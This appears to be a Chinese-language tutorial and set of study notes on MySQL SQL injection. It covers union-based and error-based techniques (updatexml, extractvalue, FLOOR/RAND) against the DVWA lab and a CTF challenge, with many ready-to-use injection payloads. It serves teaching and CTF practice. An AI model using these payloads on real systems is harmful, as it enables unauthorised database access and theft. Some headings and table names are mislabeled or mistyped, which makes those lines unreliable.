共计 2871 个字符,预计需要花费 8 分钟才能阅读完成。

SQL 绕过进阶将会单独开一个专题
本次我们将会以 DVWA 靶场的数据库为例讲解
1. 联合注入

这是一段正常的查询语句,其中 user_id 是用户可控的地方
我们可以结合 union select 语句同时查询多个结果

我们可以先通过输入数字判断我们目前所在表有多少列,然后结合 information schema 查询其他表的数据
关于 information schema 的结构

information schema 中含有许多记录着数据库结构的表
其中 tables 记录表名,schemata 记录库名,columns 记录着列名
只要你知道了一个数据库的库名,表名,列名你就可以查询对应的数据
如我们可以通过库名. 表名的方式访问一个表,如:
select * from users where user_id=-1 union select 1,user,2,3,4,5,6,7 from dvwa.users
如果你当前用的就是 dvwa 库,那么你可以省去前面的 dvwa.users 直接 select xxx from users

这里输入 user_id=- 1 就是为了让前面的查询查不到任何东西,一般情况下前端只会返回第一行的数据,所以我们要搭配 group_concat()函数使用

这样可以一次性输出全部数据
接下来我们结合 information_schema 库实现查询任意数据
查询表名

实际测试有一个问题当我们进行查询的时候数据库会报错

这里是由于 union 连接的字段的字符规则不一样,这里我们暂时不去深入理解。如果实战中遇到这种情况我们可以将其进行编码,即在 table_name 外层套一个 hex()

然后将其解码即可
我们这里列出 union 查询的基本语句
select * from users where user_id=-1 union select 1,group_concat(aaa),2,3,4,5,6,7 from information_schema.bbb where TABLE_SCHEMA='ccc'
aaa 代表着列名,bbb 代表着表名,ccc 代表你要查询的数据库,如果你要查询的数据库就是当前的数据库也可以输入 database(),使用具体库名的时候不要忘记带上你的单引号 qwq
对应搭配
table_name——information_schema.tables
column_name——information.schema.column
schema_name——information.schema.schemata
2. 报错注入
报错注入的基本原理就是在某些函数中插入查询语句,函数报错的同时会执行查询语句并返回结果
接下来我们挨个讲解这些函数
1.FLOOR()
这个函数的运用比较复杂而且限制较多,一般情况下并不推荐使用此函数进行报错注入
使用示例:
SELECT * FROM users
WHERE user_id=1
UNION
SELECT 1, COUNT(*), CONCAT((SELECT DATABASE()),
FLOOR(RAND(0)*2)
) AS x
FROM information_schema.tables
GROUP BY x;

select * from users where user_id=1 union SELECT COUNT(*), CONCAT((SELECT DATABASE()),
FLOOR(RAND(0)*2)
) AS x,3,4,5,6,8
FROM information_schema.tables
GROUP BY x;

其中第二种方法还需要用到 union 语句,确实麻烦。有想法的读者可以自行下来了解
2.extractvalue()
相比之下这个语句就显得更加友好
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

通用格式是 1 and (updatexml(1,concat(0x7e,(查询语句),0x7e),1));
关于:
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML 的内容
第二个参数:是需要 update 的位置 XPATH 路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合 XPATH 格式
函数利用和语法明白了,下面注入的 payload 就清楚明白
3.extractvalue()
extractvalue(xml_frag, xpath_expr):从一个使用 xpath 语法的 xml 字符串中提取一个值。
xml_frag:xml 文档对象的名称,是一个 string 类型。
xpath_expr:使用 xpath 语法格式的路径。
当使用 extractvalue(xml_frag, xpath_expr)函数时,若 xpath_expr 参数不符合 xpath 格式,就会报错。
如:

通用语句是:id=1 and extractvalue(1,concat(0x7e,(select user(),0x7e)))
还有一个 exp()函数,这个函数和 MySQL 版本有些联系且用到的时候不多,故不再讲解
我们来详细解剖一下报错注入的查询语句
http://b13aff05-e306-4c0d-a257-1cd4ea07ff62.node5.buuoj.cn:81/check.php
?username=1' and (updatexml(1,concat(0,mid((select password from geekuser limit 3,1),32),0),0))%23
&password=1
这是用于 2019 极客大挑战的一段 sql 注入语句
username=1′ and (updatexml(1,concat(0,mid((select password from geekuser limit 3,1),32),0),0))%23
其中我们用单引号来闭合查询语句,limit 来限制查询语句的返回数量。
这里 limit 语句是跟在 select 后面的,不要像我一样用个 limit(xxx,0,1),limit 并不是函数
LIMIT 子句在 SQL 中是用来限制查询结果的 行数 ,而不是用来限制输出的 字符个 数
整个句子可以这样拆分
1' and
(
updatexml(
1,concat(
0,mid((select password from geekuser limit 3,1)
,32)
,0)
,0)
)
flag 一般比较长,所以我们用 mid()函数限制输出,使用方法 mid(字符串或者是用括号包裹的查询语句(也可以当作字符串), 限制位数(从 1 开始))
然后不要想我个 sb 一样,把 group_concat 抱在查询语句外边,这个是包裹你要查询的东西的
如: select group_concat(password) from geekuser
然后 updatexml(123,(查询语句),123)其中 123 是可以随便替换的,能绕 waf 即可
concat()语句是合并这几个字符串如:select concat(1,2,3)输出 123
其实这一段主要是写给我自己看的(,因为我语法老是出错